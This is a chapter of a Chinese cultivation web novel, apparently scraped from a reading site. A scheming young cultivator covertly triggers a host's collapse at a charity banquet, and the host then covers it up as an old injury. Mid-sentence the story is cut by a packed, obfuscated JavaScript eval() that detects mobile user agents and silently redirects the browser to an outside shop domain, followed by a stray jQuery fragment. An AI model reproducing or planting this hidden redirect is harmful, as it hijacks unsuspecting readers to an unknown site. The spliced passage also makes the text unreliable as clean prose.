文趣网 > 其他小说 > 杀了冤种道侣后他病娇了 > 48.秋水山庄(8)
    开门宴第四日,是慈善法会。

    秋水山庄花园里设了高台,台下摆满席位,宾客云集。日头正好,秋芳竞艳,倒真是一派清和气象。

    百剑齐鸣的表演结束后,水湘子登台发言。他今日穿了一身月白云纹长袍,愈发显得仙风道骨。他先谢过诸位来宾,又讲了一番“剑道济世”“富者仁心”的道理,听得不少人频频点头。

    随后是慈善竞拍,所有款项将捐赠各地义庄。

    水湘子先拿出自己的一条剑穗,起拍价一灵石。他举着剑穗,目光扫过全场,温声道:“拍下它的人,可以拿它来换老夫的‘一次’。一次什么都可以,帮你挡灾、帮你出面说和、帮你照顾后人。五十年之内,此诺作数。”

    台下顿时沸腾。

    “水前辈这是在送人情啊!”

    “一灵石!我出一百!”

    “三百!”

    “五百!”

    竞价声此起彼伏,最后被一位李谷主以三千灵石拍下。他起身朝水湘子拱了拱手,水湘子含笑点头,二人目光交汇,一切尽在不言中。

    有了水湘子以身作则,接下来的竞拍格外热烈。有人捐灵丹,有人捐法器,有人捐功法残卷。谢婴麟也凑了个热闹,以不菲的价码拍下一座灵山的十年开采权,引来一片赞叹。

    气氛正是火热,水湘子准备主持第三项“一石捐”,让囊中羞涩者也能献出心意。但他刚开口,突然就俯身捂住腹部,脸色骤然涨红,又迅速变紫,额头一片青筋暴起,勃乱跳动。

    众人还没反应过来,便见他七窍之中汩汩流出黑血,整个人栽倒下去。

    “师尊!”

    “水前辈!”

    台上台下同时炸开。

    大弟子最先冲上去一把扶住水湘子,触手之处滚烫如火,惊得他险些松手。他低头看去,水湘子双眼紧闭,面皮紫涨,黑血从眼耳口鼻中不断涌出,淌在月白的衣袍上,触目惊心。

    “快!传药师!”

    “封锁山庄!禁止出入!”

    秋水山庄的师弟们迅速围拢,将水湘子与众人隔开。大弟子抱起水湘子大步流星往内院飞奔,奔至门口时回头一拦,大声道:“师尊身体不适,诸位请留步,莫要擅入!”

    说罢,门扉轰然合上。

    花园早已乱成一团,所有人面面相觑,惊愕不已。

    “水前辈这是怎么了?”

    “七窍流黑血,怕是中了剧毒!”

    “谁干的?难道是那个无名剑客?”

    议论声嗡嗡作响,谢婴麟站在原地没动,目光越过人群。

    人群自然分出一条道来,只见赵掌门在一众弟子的簇拥下急步走来。

    赵掌门悬壶济世百余年,活人无数,昨日宴席主桌上,她坐的位次正是主宾。

    她远远看了一眼水湘子倒下的方向,眉头微皱。

    谢婴麟快步迎上去拱手一礼,声音略略抬高,恰好能让周围人听见:“赵前辈,您医术通神,不知可否大致判断,水伯伯这是什么情况?”

    赵掌门没急着答,先走到水湘子倒下的位置,飞出一根银针探了探地上那滩黑血,这才缓缓开口:“水庄主面色紫红,或是误食大热之物,阳气暴亢,火毒攻心;或是功体不协,体内阴阳二气剧烈冲突,气血逆乱。”

    她用手杖在地上轻轻点了一下:“七窍黑血,可能是剧毒入肺腑,也可能是陈年瘀血因逆乱而崩出。方才看水庄主捂住腹部,似乎略有鼓胀。若是触之坚硬……”

    她没说完,只摇头道:“可惜没有望闻问切,本座也不敢妄言。但无论如何,情况危急。”

    谢婴麟担忧道:“今日慈善大会,水伯伯把山庄的药师都派下山行医去了,要赶回来恐怕还要等很久。但愿水伯伯平安无事。”

    旁边有人听到他们的对话,纷纷面露担忧。一个修士忍不住道:“赵前辈,您医术高明,何不请您先去看看水前辈?”

    赵掌门没应声,身后一名弟子先开了口:“家师与水庄主乃是故交,若水前辈有恙,家师自然不会袖手。只是……”她看了一眼紧闭的房门,“人家没请,我们贸然登门,只怕唐突了。”

    江湖上有个不成文的规矩:修士病倒,若未主动延请,旁人不得擅入诊视。盖因各派功法秘辛众多,谁也不想在自己最虚弱的时候被人窥了底细。

    周围人急道:“非常时期,哪还顾得上这些规矩!赵前辈医者仁心,由您出手,也是应有之义!”

    “是啊是啊,水前辈的安危要紧!”

    赵掌门沉吟片刻:“也罢,水湘子与本座相识多年,便是坏了规矩,他也该体谅。”

    她带着两名弟子走到房前说明来意,水湘子的大弟子立刻出现在门口。却见他抱拳说道:“赵前辈好意,晚辈心领。只是师尊的病情,山庄自有安排。前辈请回。”

    赵掌门的弟子立刻上前一步:“家师与令师相交百年,如今令师病倒,家师不过是想尽一份心力。你身为水前辈的大弟子,实在应该分清轻重缓急!”

    大弟子仍是那副恭敬模样:“晚辈不敢。只是师尊昔年有言,他若病倒,不许外人近身。弟子不敢违命。”

    赵掌门竟也不多劝,点点头说了一声“好”,转身便走。身后弟子连忙跟上,路过人群时,有人还想劝,被那弟子一个眼色止住了。

    眼见赵掌门回了凉亭休息,一副置身事外的模样,众人面面相觑,谁也不敢再多说什么。

    谢婴麟站在众人身后,看着大弟子又转身回了内院,手上犹带着乌黑血迹。

    无论水湘子究竟吃了什么,又在掩藏什么,只看他服食石灰笋等物,就可知他体内必定癥瘕积聚,需得长期不断地服药压制、吸附、排出。

    而天罗果是修补一切痼疾的圣品,它的药力所到之处,一切都会被修补。自然也包括那些癥瘕躁气,都会被一一复原、回归原位,使得原本压制的,腾升了,原本吸附的,外泄了,原本排出的,淤堵了……

    但修补亦需要时间。今早谢婴麟便又送上了一块促进真气流转的好茶饼,轻轻推了水湘子一把。

    凡事赶早不赶晚嘛,如此,也算是助人为乐罢。

    谢婴麟一边回应着身旁忧心的道友,语气沉痛不已,一边暗自思忖。

    昨夜无名剑客声称秋水山庄下有一个巨大的阵法,轻易触碰恐怕会被水湘子察觉。现在满山庄一片呜呼哀哉,想必无名剑客已经开始行动了。

    祝君好运吧。

    无名剑客好运与否尚未可知,但水湘子的运气一定不尽如人意。

    为了切实帮助到需要救济的贫苦修士,水湘子派出去的药师都去了各地的犄角旮旯里转悠,等到终于有药师赶

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714952|205651||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    回时,距离水湘子七窍流血已经过去三个时辰了。

    照那出血的势头看,此时水湘子想必已成了血人。

    这一夜在人心惶惶中度过。

    到了第二日晚间,众人才收到水湘子苏醒的消息,包括谢婴麟在内的几位贵客立刻赶到病房,谢婴麟到时,小院已经被散客们围堵得水泄不通了。

    谢婴麟刚踏进小院,大弟子便迎上来,恭敬地将他引进内室。

    水湘子靠在床头,面色灰败,唇色发乌,与昨日台上那仙风道骨的模样判若两人。见谢婴麟进来,他咳嗽着伸出手,示意他上前。

    “贤侄,”水湘子的声音沙哑,却努力扯出一个笑,“你那枚天罗果,可真是……效力凶猛。”

    谢婴麟面露愧色:“水伯伯,这——”

    “不怪你。”水湘子摆摆手,喘了口气,“老夫早年修炼时曾受重伤,体内淤积了一股阴毒之气,多年来一直用药物压制。这次天罗果修补道基,药力太强,反而激发了旧伤,导致阴毒反噬外泄。”

    大弟子在一旁附和:“是啊,师尊近年来坚持服用石灰笋、地浆水等物,本就是在为这次排毒做准备,没想到天罗果来得太猛,竟将瘀堵一次排出了。”

    谢婴麟语气懊恼:“都怪我思虑不周,没想到天罗果功效如此猛烈,害水伯伯受此大罪。早知如此,该先请药师看过再用。”

    “贤侄一片好心,何错之有?”水湘子拍拍他的手背,“若非你这一番好意,老夫这旧伤还不知要拖到什么时候。”

    两人一来一回客气了几句,把事情解释得清清楚楚——没人下毒,是滋补过度。在场众人听得分明,消息也一路传了出去。不到半个时辰,整个秋水山庄都知道了:水前辈旧伤排毒,虚惊一场。

    闲话说完,水湘子话锋一转:“明日与那无名剑客的比试,贤侄准备得如何了?”

    谢婴麟道:“已选定场地,就在秋水山庄正门外的广场上。”

    水湘子目光一闪:“怎么选了这处?”

    “一来,场地开阔,便于施展。二来,”谢婴麟笑了笑,“水伯伯的开门宴,宾客云集,正门外正是最显眼的位置。这场比试既是赌约,也是盛会,自当让所有人都看得清楚。”

    水湘子沉吟片刻,缓缓点头:“贤侄思虑周全。老夫虽然这副模样了,但这桩大事涉及谢氏、雀鸟司和秋水山庄三方,明日必得出席。”

    谢婴麟没有多劝,只道:“水伯伯保重身体要紧。”

    众人纷纷附和,劝水湘子多休息,都各自告退。谢婴麟也起身告辞。

    他刚转身,水湘子的声音从身后传来,不紧不慢:“听说贤侄剑药双修,医术了得。昨日这些弟子还是太迂腐,应该先请贤侄为老夫诊治的,也不必等那药师赶回来了。”

    谢婴麟转身,神色恭敬,语气谦逊:“水伯伯谬赞了。晚辈那点医术,不过尔尔,比不得赵掌门浸淫医道百年,怎敢擅专?”

    “贤侄何必自谦。”水湘子靠在床头,目光温和地看着他,“你父亲与老夫相交百年,情同手足。老夫一直把你当自家子侄看,你也不必跟老夫客气。往后有什么事,尽管开口。”

    谢婴麟含笑点头:“多谢水伯伯厚爱。晚辈记下了。”

    水湘子“嗯”了一声,挥挥手:“去吧。明日还有一场硬仗,好好歇着。”